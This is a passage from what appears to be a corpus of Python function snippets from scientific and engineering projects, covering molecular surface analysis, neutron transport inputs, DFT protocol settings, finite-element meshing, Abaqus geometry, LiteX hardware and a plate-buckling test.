LEU 180 ILE 182 ASN 158 ASP 151 CYS 140 VAL 160 THR 146 PRO 143 ' \\\n + 'SER 122 ALA 113 GLY 85]' + '\\n' \\\n + 'set residlist [lsort -unique [$allsel get resid]]' + '\\n' \\\n + 'set surf_list [list]' + '\\n' \\\n + 'foreach r $residlist {' + '\\n' \\\n + 'set sel [atomselect top \"resid $r and chain $chain\"]' + '\\n' \\\n + 'set temp_rsasa [measure sasa 1.4 $allsel -restrict $sel]' + '\\n' \\\n + 'set temp_name [lsort -unique [$sel get resname]]' + '\\n' \\\n + 'set temp_id [lsort -unique [$sel get resid]]' + '\\n' \\\n + 'set temp_tot [dict get $tot_sasa $temp_name]' + '\\n' \\\n + 'set rsasa [expr $temp_rsasa/$temp_tot]' + '\\n' \\\n + 'if {$rsasa > 0.2} {lappend surf_list \"$temp_id $temp_name\"}' + '\\n' \\\n + '}' + '\\n' \\\n + 'set fileId [open ' + output_name + ' w]' + '\\n' \\\n + 'puts $fileId $surf_list' + '\\n' \\\n + 'close $fileId' + '\\n' \\\n + 'quit' + '\\n' \\\n + 'exit' + '\\n'\n return output_string","def create_instance(c_instance):\n return VCM600(c_instance)","def create_instance(c_instance):\n return VCM600(c_instance)","def __init__(self) -> None:\n ptr = lib.wlr_output_layout_create()\n self._ptr = ffi.gc(ptr, lib.wlr_output_layout_destroy)\n\n self.add_event = Signal(ptr=ffi.addressof(ptr.events.add))\n self.change_event = Signal(ptr=ffi.addressof(ptr.events.change))\n self.destroy_event = Signal(ptr=ffi.addressof(ptr.events.destroy))","def _make_mcnp_input(self):\n # Create the problem description\n lines = ['Point source in infinite geometry']\n\n # Create the cell cards: material 1 inside sphere, void outside\n lines.append('c --- Cell cards ---')\n if self._temperature is not None:\n kT = self._temperature * K_BOLTZMANN * 1e-6\n lines.append(f'1 1 -{self.density} -1 imp:n=1 tmp={kT}')\n else:\n lines.append(f'1 1 -{self.density} -1 imp:n=1')\n lines.append('2 0 1 imp:n=0')\n lines.append('')\n\n # Create the surface cards: box centered on origin with 2e9 cm sides`\n # and reflective boundary conditions\n lines.append('c --- Surface cards ---')\n lines.append('*1 rpp -1.e9 1e9 -1.e9 1.e9 -1.e9 1.e9')\n lines.append('')\n\n # Create the data cards\n lines.append('c --- Data cards ---')\n\n # Materials\n if re.match('(71[0-6]nc)', self.suffix):\n name = szax(self.nuclide, self.suffix)\n else:\n name = zaid(self.nuclide, self.suffix)\n lines.append(f'm1 {name} 1.0')\n if self.thermal is not None:\n lines.append(f'mt1 {self.thermal}')\n lines.append('nonu 2')\n\n # Physics: neutron transport\n lines.append('mode n')\n\n # Source definition: isotropic point source at center of sphere\n energy = self.energy * 1e-6\n lines.append(f'sdef cel=1 erg={energy}')\n\n # Tallies: neutron flux over cell\n lines.append('f4:n 1')\n min_energy = self._min_energy * 1e-6\n lines.append(f'e4 {min_energy} {self._bins-1}ilog {1.0001*energy}')\n\n # Problem termination: number of particles to transport\n lines.append(f'nps {self.particles}')\n\n # Write the problem\n with open(self.other_dir / 'inp', 'w') as f:\n f.write('\\n'.join(lines))","def create(cls, user, master_mix, water, robot, tm300_8_tool, tm50_8_tool,\n volume, plates):\n with sql_connection.TRN as TRN:\n # Add the row to the process table\n process_id = cls._common_creation_steps(user)\n\n # Add the row to the library_prep_16s_process\n sql = \"\"\"INSERT INTO qiita.library_prep_16s_process\n (process_id, master_mix_id, tm300_8_tool_id,\n tm50_8_tool_id, water_id, processing_robot_id)\n VALUES (%s, %s, %s, %s, %s, %s)\n RETURNING library_prep_16s_process_id\"\"\"\n TRN.add(sql, [process_id, master_mix.id, tm300_8_tool.id,\n tm50_8_tool.id, water.id, robot.id])\n instance = cls(TRN.execute_fetchlast())\n\n for gdna_plate, primer_plate in plates:\n # Create the library plate\n plate_ext_id = '16S library - %s' % gdna_plate.external_id\n\n plate_config = gdna_plate.plate_configuration\n library_plate = plate_module.Plate.create(plate_ext_id,\n plate_config)\n gdna_layout = gdna_plate.layout\n primer_layout = primer_plate.layout\n for i in range(plate_config.num_rows):\n for j in range(plate_config.num_columns):\n well = container_module.Well.create(\n library_plate, instance, volume, i + 1, j + 1)\n composition_module.LibraryPrep16SComposition.create(\n instance, well, volume,\n gdna_layout[i][j].composition,\n primer_layout[i][j].composition)\n\n return instance","def setup_protocol(self):\n self.ctx.inputs = {\n 'codename': self.inputs.codename,\n 'parameters': {},\n 'settings': {},\n 'options': ParameterData(dict={\n 'resources': {\n 'num_machines': 1\n },\n 'max_wallclock_seconds': 1800,\n }),\n }\n\n if self.inputs.protocol == 'standard':\n self.report('running the workchain in the \"{}\" protocol'.format(self.inputs.protocol.value))\n self.ctx.protocol = {\n 'kpoints_mesh_offset': [0., 0., 0.],\n 'kpoints_mesh_density': 0.2,\n 'convergence_threshold': 2.E-06,\n 'smearing': 'marzari-vanderbilt',\n 'degauss': 0.02,\n 'occupations': 'smearing',\n 'tstress': True,\n 'pseudo_familyname': 'SSSP',\n 'pseudo_data': {\n 'H': {'cutoff': 55, 'dual': 8, 'pseudo': '031US'},\n 'He': {'cutoff': 55, 'dual': 4, 'pseudo': 'SG15'},\n 'Li': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.4'},\n 'Be': {'cutoff': 40, 'dual': 8, 'pseudo': 'GBRV-1.4'},\n 'B': {'cutoff': 40, 'dual': 8, 'pseudo': '031PAW'},\n 'C': {'cutoff': 50, 'dual': 8, 'pseudo': 'GBRV-1.2'},\n 'N': {'cutoff': 55, 'dual': 8, 'pseudo': 'THEOS'},\n 'O': {'cutoff': 45, 'dual': 8, 'pseudo': 'GBRV-1.2'},\n 'F': {'cutoff': 50, 'dual': 8, 'pseudo': 'GBRV-1.4'},\n 'Ne': {'cutoff': 200, 'dual': 8, 'pseudo': '100PAW'},\n 'Na': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.2'},\n 'Mg': {'cutoff': 35, 'dual': 8, 'pseudo': 'GBRV-1.4'},\n 'Al': {'cutoff': 30, 'dual': 8, 'pseudo': '100PAW'},\n 'Si': {'cutoff': 30, 'dual': 8, 'pseudo': '100US'},\n 'P': {'cutoff': 30, 'dual': 8, 'pseudo': '100US'},\n 'S': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.2'},\n 'Cl': {'cutoff': 35, 'dual': 8, 'pseudo': 'GBRV-1.4'},\n 'Ar': {'cutoff': 120, 'dual': 8, 'pseudo': '100US'},\n 'K': {'cutoff': 50, 'dual': 8, 'pseudo': '100US'},\n 'Ca': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.2'},\n 'Sc': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.2'},\n 'Ti': {'cutoff': 35, 'dual': 8, 'pseudo': 'GBRV-1.4'},\n 'V': {'cutoff': 40, 'dual': 8, 'pseudo': 'GBRV-1.2'},\n 'Cr': {'cutoff': 40, 'dual': 8, 'pseudo': 'GBRV-1.5'},\n 'Mn': {'cutoff': 70, 'dual': 12, 'pseudo': '031PAW'},\n 'Fe': {'cutoff': 90, 'dual': 12, 'pseudo': '031PAW'},\n 'Co': {'cutoff': 55, 'dual': 8, 'pseudo': 'GBRV-1.2'},\n 'Ni': {'cutoff': 45, 'dual': 8, 'pseudo': 'GBRV-1.4'},\n 'Cu': {'cutoff': 40, 'dual': 8, 'pseudo': 'GBRV-1.2'},\n 'Zn': {'cutoff': 40, 'dual': 8, 'pseudo': 'GBRV-1.2'},\n 'Ga': {'cutoff': 35, 'dual': 8, 'pseudo': '031US'},\n 'Ge': {'cutoff': 40, 'dual': 8, 'pseudo': '100PAW'},\n 'As': {'cutoff': 30, 'dual': 8, 'pseudo': '031US'},\n 'Se': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.2'},\n 'Br': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.4'},\n 'Kr': {'cutoff': 100, 'dual': 8, 'pseudo': '031US'},\n 'Rb': {'cutoff': 50, 'dual': 4, 'pseudo': 'SG15'},\n 'Sr': {'cutoff': 35, 'dual': 8, 'pseudo': '100US'},\n 'Y': {'cutoff': 35, 'dual': 8, 'pseudo': 'GBRV-1.2'},\n 'Zr': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.2'},\n 'Nb': {'cutoff': 35, 'dual': 8, 'pseudo': '031PAW'},\n 'Mo': {'cutoff': 35, 'dual': 4, 'pseudo': 'SG15'},\n 'Tc': {'cutoff': 30, 'dual': 4, 'pseudo': 'SG15'},\n 'Ru': {'cutoff': 40, 'dual': 4, 'pseudo': 'SG15'},\n 'Rh': {'cutoff': 45, 'dual': 8, 'pseudo': '100PAW'},\n 'Pd': {'cutoff': 55, 'dual': 8, 'pseudo': '100PAW'},\n 'Ag': {'cutoff': 35, 'dual': 8, 'pseudo': 'GBRV-1.4'},\n 'Cd': {'cutoff': 40, 'dual': 8, 'pseudo': '031US'},\n 'In': {'cutoff': 35, 'dual': 8, 'pseudo': '031US'},\n 'Sn': {'cutoff': 35, 'dual': 8, 'pseudo': 'GBRV-1.2'},\n 'Sb': {'cutoff': 40, 'dual': 8, 'pseudo': 'GBRV-1.4'},\n 'Te': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.2'},\n 'I': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.2'},\n 'Xe': {'cutoff': 120, 'dual': 8, 'pseudo': '100US'},\n 'Cs': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.2'},\n 'Ba': {'cutoff': 40, 'dual': 4, 'pseudo': 'SG15'},\n 'Hf': {'cutoff': 35, 'dual': 8, 'pseudo': '031US'},\n 'Ta': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.2'},\n 'W': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.2'},\n 'Re': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.2'},\n 'Os': {'cutoff': 35, 'dual': 8, 'pseudo': 'GBRV-1.2'},\n 'Ir': {'cutoff': 40, 'dual': 8, 'pseudo': 'GBRV-1.2'},\n 'Pt': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.4'},\n 'Au': {'cutoff': 45, 'dual': 4, 'pseudo': 'SG15'},\n 'Hg': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.2'},\n 'Tl': {'cutoff': 30, 'dual': 8, 'pseudo': '031US'},\n 'Pb': {'cutoff': 40, 'dual': 8, 'pseudo': '031PAW'},\n 'Bi': {'cutoff': 35, 'dual': 8, 'pseudo': '031PAW'},\n 'Po': {'cutoff': 45, 'dual': 8, 'pseudo': '100US'},\n 'Rn': {'cutoff': 45, 'dual': 8, 'pseudo': '100US'},\n 'La': {'cutoff': 55, 'dual': 8, 'pseudo': 'Wentzcovitch'},\n 'Ce': {'cutoff': 45, 'dual': 8, 'pseudo': 'Wentzcovitch'},\n 'Pr': {'cutoff': 50, 'dual': 8, 'pseudo': 'Wentzcovitch'},\n 'Nd': {'cutoff': 40, 'dual': 8, 'pseudo': 'Wentzcovitch'},\n 'Sm': {'cutoff': 40, 'dual': 8, 'pseudo': 'Wentzcovitch'},\n 'Eu': {'cutoff': 55, 'dual': 8, 'pseudo': 'Wentzcovitch'},\n 'Tb': {'cutoff': 40, 'dual': 8, 'pseudo': 'Wentzcovitch'},\n 'Dy': {'cutoff': 40, 'dual': 8, 'pseudo': 'Wentzcovitch'},\n 'Ho': {'cutoff': 40, 'dual': 8, 'pseudo': 'Wentzcovitch'},\n 'Er': {'cutoff': 40, 'dual': 8, 'pseudo': 'Wentzcovitch'},\n 'Tm': {'cutoff': 40, 'dual': 8, 'pseudo': 'Wentzcovitch'},\n 'Yb': {'cutoff': 40, 'dual': 8, 'pseudo': 'Wentzcovitch'},\n 'Lu': {'cutoff': 45, 'dual': 8, 'pseudo': 'Wentzcovitch'},\n }\n }","def New(*args, **kargs):\n obj = itkEdgePotentialImageFilterICVF33ID3.__New_orig__()\n import itkTemplate\n itkTemplate.New(obj, *args, **kargs)\n return obj","def __init__(__self__, *,\n desktop_type: pulumi.Input[str],\n image_id: pulumi.Input[str],\n root_disk_size_gib: pulumi.Input[int],\n user_disk_size_gibs: pulumi.Input[Sequence[pulumi.Input[int]]],\n bundle_name: Optional[pulumi.Input[str]] = None,\n description: Optional[pulumi.Input[str]] = None,\n language: Optional[pulumi.Input[str]] = None,\n root_disk_performance_level: Optional[pulumi.Input[str]] = None,\n user_disk_performance_level: Optional[pulumi.Input[str]] = None):\n pulumi.set(__self__, \"desktop_type\", desktop_type)\n pulumi.set(__self__, \"image_id\", image_id)\n pulumi.set(__self__, \"root_disk_size_gib\", root_disk_size_gib)\n pulumi.set(__self__, \"user_disk_size_gibs\", user_disk_size_gibs)\n if bundle_name is not None:\n pulumi.set(__self__, \"bundle_name\", bundle_name)\n if description is not None:\n pulumi.set(__self__, \"description\", description)\n if language is not None:\n pulumi.set(__self__, \"language\", language)\n if root_disk_performance_level is not None:\n pulumi.set(__self__, \"root_disk_performance_level\", root_disk_performance_level)\n if user_disk_performance_level is not None:\n pulumi.set(__self__, \"user_disk_performance_level\", user_disk_performance_level)","def create_3d_patch(model,orgin,size,N,setname='default'):\n \n N = map(int,N)\n # create the coordinates and connectivity based on one\n bxyz,bcube = block3d(orgin,size,N)\n \n # add node to model starting with current highest node seq\n nn = int(model.node(bxyz))\n update_bcube = bcube + int(nn)\n \n pelemset = model.element(update_bcube,setname)\n \n \n nx = N[0] + 1\n ny = N[1] + 1\n nz = N[2] + 1\n \n \n nodeline = {}\n\n nodeline['1'] = [nn + 1]\n nodeline['2'] = [nn + 1 + ny*nz*(nx-1)]\n nodeline['3'] = [nn + 1 + ny*nz*(nx-1) + (ny-1)*nz]\n nodeline['4'] = [nn + 1 + nz*(ny-1)]\n nodeline['5'] = [nodeline['1'][0] + (nz-1)]\n nodeline['6'] = [nodeline['2'][0] + (nz-1)]\n nodeline['7'] = [nodeline['3'][0] + (nz-1)]\n nodeline['8'] = [nodeline['4'][0] + (nz-1)]\n \n nodeline['1-2'] = range(nodeline['1'][0],nodeline['2'][0]+1,ny*nz)\n nodeline['2-3'] = range(nodeline['2'][0],nodeline['3'][0]+1,nz)\n nodeline['3-4'] = range(nodeline['4'][0],nodeline['3'][0]+1,ny*nz)\n nodeline['1-4'] = range(nodeline['1'][0],nodeline['4'][0]+1,nz)\n\n nodeline['5-6'] = range(nodeline['5'][0],nodeline['6'][0]+1,ny*nz)\n nodeline['6-7'] = range(nodeline['6'][0],nodeline['7'][0]+1,nz)\n nodeline['7-8'] = range(nodeline['8'][0],nodeline['7'][0]+1,ny*nz)\n nodeline['5-8'] = range(nodeline['5'][0],nodeline['8'][0]+1,nz)\n \n nodeline['1-5'] = range(nodeline['1'][0],nodeline['5'][0]+1,1)\n nodeline['4-8'] = range(nodeline['4'][0],nodeline['8'][0]+1,1)\n nodeline['2-6'] = range(nodeline['2'][0],nodeline['6'][0]+1,1)\n nodeline['3-7'] = range(nodeline['3'][0],nodeline['7'][0]+1,1)\n \n nodeline['1-2-3-4'] = []\n nodeline['5-6-7-8'] = []\n nodeline['1-2-6-5'] = []\n nodeline['4-3-7-8'] = []\n nodeline['1-4-8-5'] = []\n nodeline['2-3-7-6'] = []\n \n for i in range(0,nx):\n for j in nodeline['1-4']:\n nodeline['1-2-3-4'].append(j + i*ny*nz)\n for j in nodeline['5-8']:\n nodeline['5-6-7-8'].append(j + i*ny*nz) \n \n for j in nodeline['1-5']:\n nodeline['1-2-6-5'].append(j + i*ny*nz) \n for j in nodeline['4-8']:\n nodeline['4-3-7-8'].append(j + i*ny*nz)\n \n for i in range(0,ny):\n for j in nodeline['1-5']:\n nodeline['1-4-8-5'].append(j + i*nz)\n for j in nodeline['2-6']:\n nodeline['2-3-7-6'].append(j + i*nz)\n #\n for key in nodeline:\n nodesetname = '-'.join([setname , key])\n model.nodeset(nodesetname,{'nodelist':nodeline[key]})\n\n return model","def New(*args, **kargs):\n obj = itkMeshSourcePSD3.__New_orig__()\n import itkTemplate\n itkTemplate.New(obj, *args, **kargs)\n return obj","def sketch_und_part(self):\n if (self.dimension == '3D'):\n #Sketch Wuerfel zeichnen\n self.sketch_Wuerfel = self.model.ConstrainedSketch(\n name='Seitenansicht_Wuerfel',\n sheetSize=200.0)\n self.sketch_Wuerfel.rectangle(\n point1=(-self.laenge_x/2.0, -self.laenge_y/2.0),\n point2=(self.laenge_x/2.0, self.laenge_y/2.0))\n #Part Wuerfel generieren\n self.part_Wuerfel = self.model.Part(\n name=self.name+'_Wuerfel',\n dimensionality=THREE_D,\n type=DEFORMABLE_BODY)\n self.part_Wuerfel.BaseSolidExtrude(\n sketch=self.sketch_Wuerfel,\n depth=self.laenge_z/2.0) #z-Symmetrie\n #Sketch Pore zeichnen (fuer Quader und Zylinder)\n self.sketch_Pore = self.model.ConstrainedSketch(\n name='Seitenansicht_Pore',\n sheetSize=200.0)\n if (self.typ_Pore == 'Quader'):\n self.sketch_Pore.rectangle(\n point1=(-self.porenparameter_x/2.0, -self.porenparameter_y/2.0),\n point2=(self.porenparameter_x/2.0, self.porenparameter_y/2.0))\n elif (self.typ_Pore == 'Zylinder'):\n self.sketch_Pore.EllipseByCenterPerimeter(\n center=(0.0, 0.0),\n axisPoint1=(self.porenparameter_x/2.0, 0.0),\n axisPoint2=(0.0, self.porenparameter_y/2.0))\n elif (self.typ_Pore == 'Ellipsoid' ):\n matlab.ellipsoidIgesOut(\n self.porenparameter_x,\n self.porenparameter_y,\n self.porenparameter_z,\n 'Ellipsoid')\n # if (self.porenparameter_x == self.porenparameter_z):\n # self.sketch_Pore.ConstructionLine(\n # point1=(0.0, -100.0),\n # point2=(0.0, 100.0))\n # self.sketch_Pore.EllipseByCenterPerimeter(\n # center=(0.0, 0.0),\n # axisPoint1=(self.porenparameter_x/2.0, 0.0),\n # axisPoint2=(0.0, self.porenparameter_y/2.0))\n # self.sketch_Pore.autoTrimCurve(\n # curve1=self.sketch_Pore.geometry[3],\n # point1=(-self.porenparameter_x/2.0, 0.0))\n # self.sketch_Pore.Line(\n # point1=(0.0, self.porenparameter_y/2.0),\n # point2=(0.0, -self.porenparameter_y/2.0))\n else:\n print('typ_Pore Error!')\n #Part Pore generieren\n if (self.typ_Pore == 'Ellipsoid' ):\n # if (self.porenparameter_x == self.porenparameter_z):\n # self.part_Pore.BaseSolidRevolve(\n # sketch=self.sketch_Pore,\n # angle=360.0,\n # flipRevolveDirection=OFF)\n self.iges_Datei = mdb.openIges(\n 'Ellipsoid.igs',\n msbo=False,\n trimCurve=DEFAULT,\n scaleFromFile=OFF)\n self.model.PartFromGeometryFile(\n name=self.name+'_Pore',\n geometryFile=self.iges_Datei,\n combine=False,\n stitchTolerance=1.0,\n dimensionality=THREE_D,\n type=DEFORMABLE_BODY,\n convertToAnalytical=1,\n stitchEdges=1,\n scale=1) # Skalierung\n self.part_Pore = self.model.parts[self.name+'_Pore']\n self.part_Pore.AddCells(\n faceList = self.part_Pore.faces,\n flipped=False)\n del self.iges_Datei\n os.remove('abaqus_read_iges0.log') #Arbeitsordner aufraeumen\n os.remove('temp-Ellipsoid-new.sat')\n os.remove('Ellipsoid.igs')\n elif (self.typ_Pore == 'Quader' or 'Zylinder'):\n self.part_Pore = self.model.Part(\n name=self.name+'_Pore',\n dimensionality=THREE_D,\n type=DEFORMABLE_BODY)\n self.part_Pore.BaseSolidExtrude(\n sketch=self.sketch_Pore,\n depth=self.porenparameter_z)\n #Assemble\n self.assembly = self.model.rootAssembly\n self.assembly.DatumCsysByDefault(CARTESIAN)\n self.assembly.Instance(\n name=self.name+'_Pore',\n part=self.part_Pore,\n dependent=ON)\n self.assembly.Instance(\n name=self.name+'_Wuerfel',\n part=self.part_Wuerfel,\n dependent=ON)\n #Translation\n self.assembly.translate(\n instanceList=(self.name+'_Wuerfel', ),\n vector=(0.0, 0.0, -self.laenge_z/2.0))\n if (self.typ_Pore == 'Ellipsoid'):\n self.assembly.translate(\n instanceList=(self.name+'_Pore', ),\n vector=(0.0, 0.0, 0.0))\n elif (self.typ_Pore == 'Quader' or 'Zylinder'):\n self.assembly.translate(\n instanceList=(self.name+'_Pore', ),\n vector=(0.0, 0.0, -self.porenparameter_z/2.0))\n #Rotation\n self.assembly.rotate(\n instanceList=(self.name+'_Pore', ),\n axisPoint=(0.0, 0.0, 0.0),\n axisDirection=(1.0, 0.0, 0.0),\n angle=self.porenparameter_rx)\n self.assembly.rotate(\n instanceList=(self.name+'_Pore', ),\n axisPoint=(0.0, 0.0, 0.0),\n axisDirection=(0.0, 1.0, 0.0),\n angle=self.porenparameter_ry)\n self.assembly.rotate(\n instanceList=(self.name+'_Pore', ),\n axisPoint=(0.0, 0.0, 0.0),\n axisDirection=(0.0, 0.0,1.0),\n angle=self.porenparameter_rz)\n #Schneiden\n self.assembly.InstanceFromBooleanCut(\n name='RVE',\n instanceToBeCut=self.assembly.instances[self.name+'_Wuerfel'],\n cuttingInstances=(self.assembly.instances[self.name+'_Pore'], ),\n originalInstances=SUPPRESS)\n self.assembly.deleteFeatures((self.name+'_Wuerfel', self.name+'_Pore', ))\n # del self.model.parts[self.name+'_Wuerfel']\n # del self.model.parts[self.name+'_Pore']\n self.part_RVE = self.model.parts[self.name]\n elif (self.dimension == '2D'):\n #Sketch Wuerfel zeichnen\n self.sketch_Wuerfel = self.model.ConstrainedSketch(\n name='Seitenansicht_Wuerfel',\n sheetSize=200.0)\n self.sketch_Wuerfel.rectangle(\n point1=(0.0, 0.0),\n point2=(self.laenge_x/2.0, self.laenge_y/2.0)) #x- und y-Symmetrie\n #Part Wuerfel generieren\n self.part_Wuerfel = self.model.Part(\n name=self.name+'_Wuerfel',\n dimensionality=TWO_D_PLANAR,\n type=DEFORMABLE_BODY)\n self.part_Wuerfel.BaseShell(sketch=self.sketch_Wuerfel)\n #Sketch Pore zeichnen\n self.sketch_Pore = self.model.ConstrainedSketch(\n name='Seitenansicht_Pore',\n sheetSize=200.0)\n if (self.typ_Pore == 'Ellipsoid'):\n self.sketch_Pore.ConstructionLine(\n point1=(0.0, -100.0),\n point2=(0.0, 100.0))\n self.sketch_Pore.EllipseByCenterPerimeter(\n center=(0.0, 0.0),\n axisPoint1=(self.porenparameter_x/2.0, 0.0),\n axisPoint2=(0.0, self.porenparameter_y/2.0))\n self.sketch_Pore.autoTrimCurve(\n curve1=self.sketch_Pore.geometry[3],\n point1=(-self.porenparameter_x/2.0, 0.0))\n self.sketch_Pore.Line(\n point1=(0.0, self.porenparameter_y/2.0),\n point2=(0.0, -self.porenparameter_y/2.0))\n elif (self.typ_Pore == 'Quader'):\n self.sketch_Pore.rectangle(\n point1=(-self.porenparameter_x/2.0, -self.porenparameter_y/2.0),\n point2=(self.porenparameter_x/2.0, self.porenparameter_y/2.0))\n elif (self.typ_Pore == 'Zylinder'):\n self.sketch_Pore.EllipseByCenterPerimeter(\n center=(0.0, 0.0),\n axisPoint1=(self.porenparameter_x/2.0, 0.0),\n axisPoint2=(0.0, self.porenparameter_y/2.0))\n else:\n print('typ_Pore Error!')\n #Part Pore generieren\n self.part_Pore = self.model.Part(\n name=self.name+'_Pore',\n dimensionality=TWO_D_PLANAR,\n type=DEFORMABLE_BODY)\n self.part_Pore.BaseShell(sketch=self.sketch_Pore)\n #Assemble\n self.assembly = self.model.rootAssembly\n self.assembly.DatumCsysByDefault(CARTESIAN)\n self.assembly.Instance(\n name=self.name+'_Wuerfel',\n part=self.part_Wuerfel,\n dependent=ON)\n self.assembly.Instance(\n name=self.name+'_Pore',\n part=self.part_Pore,\n dependent=ON)\n self.assembly.rotate(\n instanceList=(self.name+'_Pore', ),\n axisPoint=(0.0, 0.0, self.laenge_z/2.0),\n axisDirection=(0.0, 0.0, self.laenge_z/2.0+1),\n angle=self.porenparameter_rz)\n self.assembly.InstanceFromBooleanCut(\n name='RVE',\n instanceToBeCut=self.assembly.instances[self.name+'_Wuerfel'],\n cuttingInstances=(self.assembly.instances[self.name+'_Pore'], ),\n originalInstances=SUPPRESS)\n self.assembly.deleteFeatures((self.name+'_Wuerfel', self.name+'_Pore', ))\n del self.model.parts[self.name+'_Wuerfel']\n #del self.model.parts[self.name+'_Pore']\n self.part_RVE = self.model.parts[self.name]\n else:\n print('dimension Error!')","def Make_surface(self, par, verbose=False):\n ## check if we are dealing with a dictionary\n if isinstance(par, dict):\n self.star.Make_surface(\n q = par['q'],\n porb = par['porb'],\n incl = par['incl'],\n k1 = par['k1'],\n omega = par['omega'],\n filling = par['filling'],\n tempgrav = par['tempgrav'],\n temp = par['temp'],\n tirr = par['tirr']\n )\n else:\n self.star.Make_surface(\n q = par[0],\n porb = par[1],\n incl = par[2],\n k1 = par[3],\n omega = par[4],\n filling = par[5],\n tempgrav = par[6],\n temp = par[7],\n tirr = par[8]\n )\n\n if verbose:\n print( \"Content on input parameter for Make_surface\" )\n print( par )\n\n return","def __init__(self, pads):\n mfioCommon.__init__(self, pads)\n\n mfio_width = len(pads)\n #\n mfio_o = Signal(mfio_width)\n mfio_oe = Signal(mfio_width)\n mfio_i = Signal(mfio_width)\n # create single pin tristate buffers\n for b in range(mfio_width):\n self.submodules += mfioSinglePin(pads, b, mfio_i[b], mfio_o[b], mfio_oe[b]) \t\n\n # Wishbone \n self.bus = bus = wishbone.Interface()\n\n #\n sel = Signal(mfio_width)\n inbit = Signal(1)\n\n # todo: dynamic address width calc to optimize the decode logic\n addr_width = 12\n # 1024 IO max\n seladr = Signal(10)\n\n # 10 bits of address = 1024 pins max\n self.comb += seladr.eq(self.bus.adr[:10]) \n \n # address decoder\n for b in range(mfio_width):\n self.comb += sel[b].eq(seladr == b)\n\n self.comb += inbit.eq( (mfio_i & sel) != 0 )\n\n # Read bit\n rdbus = Signal(32)\n self.comb += [\n rdbus[0].eq(inbit),\n bus.dat_r.eq(rdbus)\n ]\t\n\n # process output \n outbit = Signal(1)\n oebit = Signal(1)\n wren = Signal(1)\n\n # PINAPI 1.0 compatible: 0 = drive 0, 1 drive 1, 3 = HiZ\n self.comb += outbit.eq( bus.dat_w[0] )\n self.comb += oebit.eq ( ~bus.dat_w[1] )\n\n # write enable\n self.comb += wren.eq(self.bus.stb & self.bus.cyc & self.bus.we) \n\n for b in range(mfio_width):\n self.sync += If(wren & sel[b], mfio_o[b].eq(outbit), mfio_oe[b].eq(oebit) )\n\n seq = [\n (1, [bus.ack.eq(1)]), #\n (1, [bus.ack.eq(0)]), #\n (0, []),\n ]\n \n t, tseq = 0, []\n for dt, a in seq:\n tseq.append((t, a))\n t += dt\n\n self.sync += timeline(bus.cyc & bus.stb, tseq)","def test_linear_buckling_iso_CCSS(plot_static=False, plot_lb=False):\n # number of nodes\n nx = 5 # along x\n ny = 5 # along y\n\n # getting integration points\n nint = 4\n points, weights = get_points_weights(nint=nint)\n\n # geometry\n a = 3 # along x\n b = 3 # along y\n\n # material properties\n E = 200e9\n nu = 0.3\n laminaprop = (E, E, nu)\n stack = [0]\n h = 0.001\n lam = read_stack(stack=stack, plyt=h, laminaprop=laminaprop)\n\n # creating mesh\n x = np.linspace(0, a, nx)\n y = np.linspace(0, b, ny)\n xmesh, ymesh = np.meshgrid(x, y)\n\n # node coordinates and position in the global matrix\n ncoords = np.vstack((xmesh.T.flatten(), ymesh.T.flatten())).T\n nids = 1 + np.arange(ncoords.shape[0])\n nid_pos = dict(zip(nids, np.arange(len(nids))))\n\n # identifying nodal connectivity for plate elements\n # similar than Nastran's CQUAD4\n #\n # ^ y\n # |\n #\n # 4 ________ 3\n # | |\n # | | --> x\n # | |\n # |_______|\n # 1 2\n\n\n nids_mesh = nids.reshape(nx, ny)\n n1s = nids_mesh[:-1, :-1].flatten()\n n2s = nids_mesh[1:, :-1].flatten()\n n3s = nids_mesh[1:, 1:].flatten()\n n4s = nids_mesh[:-1, 1:].flatten()\n\n num_elements = len(n1s)\n print('num_elements', num_elements)\n\n N = DOF*nx*ny\n Kr = np.zeros(KC0_SPARSE_SIZE*num_elements, dtype=INT)\n Kc = np.zeros(KC0_SPARSE_SIZE*num_elements, dtype=INT)\n Kv = np.zeros(KC0_SPARSE_SIZE*num_elements, dtype=DOUBLE)\n KGr = np.zeros(KG_SPARSE_SIZE*num_elements, dtype=INT)\n KGc = np.zeros(KG_SPARSE_SIZE*num_elements, dtype=INT)\n KGv = np.zeros(KG_SPARSE_SIZE*num_elements, dtype=DOUBLE)\n init_k_KC0 = 0\n init_k_KG = 0\n\n plates = []\n for n1, n2, n3, n4 in zip(n1s, n2s, n3s, n4s):\n plate = BFSPlate2D()\n plate.n1 = n1\n plate.n2 = n2\n plate.n3 = n3\n plate.n4 = n4\n plate.c1 = DOF*nid_pos[n1]\n plate.c2 = DOF*nid_pos[n2]\n plate.c3 = DOF*nid_pos[n3]\n plate.c4 = DOF*nid_pos[n4]\n plate.ABD = lam.ABD\n plate.lex = a/(nx - 1)\n plate.ley = b/(ny - 1)\n plate.init_k_KC0 = init_k_KC0\n plate.init_k_KG = init_k_KG\n update_KC0(plate, points, weights, Kr, Kc, Kv)\n init_k_KC0 += KC0_SPARSE_SIZE\n init_k_KG += KG_SPARSE_SIZE\n plates.append(plate)\n\n KC0 = coo_matrix((Kv, (Kr, Kc)), shape=(N, N)).tocsc()\n\n # applying boundary conditions\n\n # locating nodes\n bk = np.zeros(KC0.shape[0], dtype=bool) # constrained DOFs, can be used to prescribe displacements\n\n x = ncoords[:, 0]\n y = ncoords[:, 1]\n\n # applying boundary conditions\n # simply supported\n check = isclose(x, 0) | isclose(x, a) | isclose(y, 0) | isclose(y, b)\n bk[2::DOF] = check\n check = isclose(x, 0) | isclose(x, a)\n bk[3::DOF] = check\n # point supports\n check = isclose(x, a/2) & 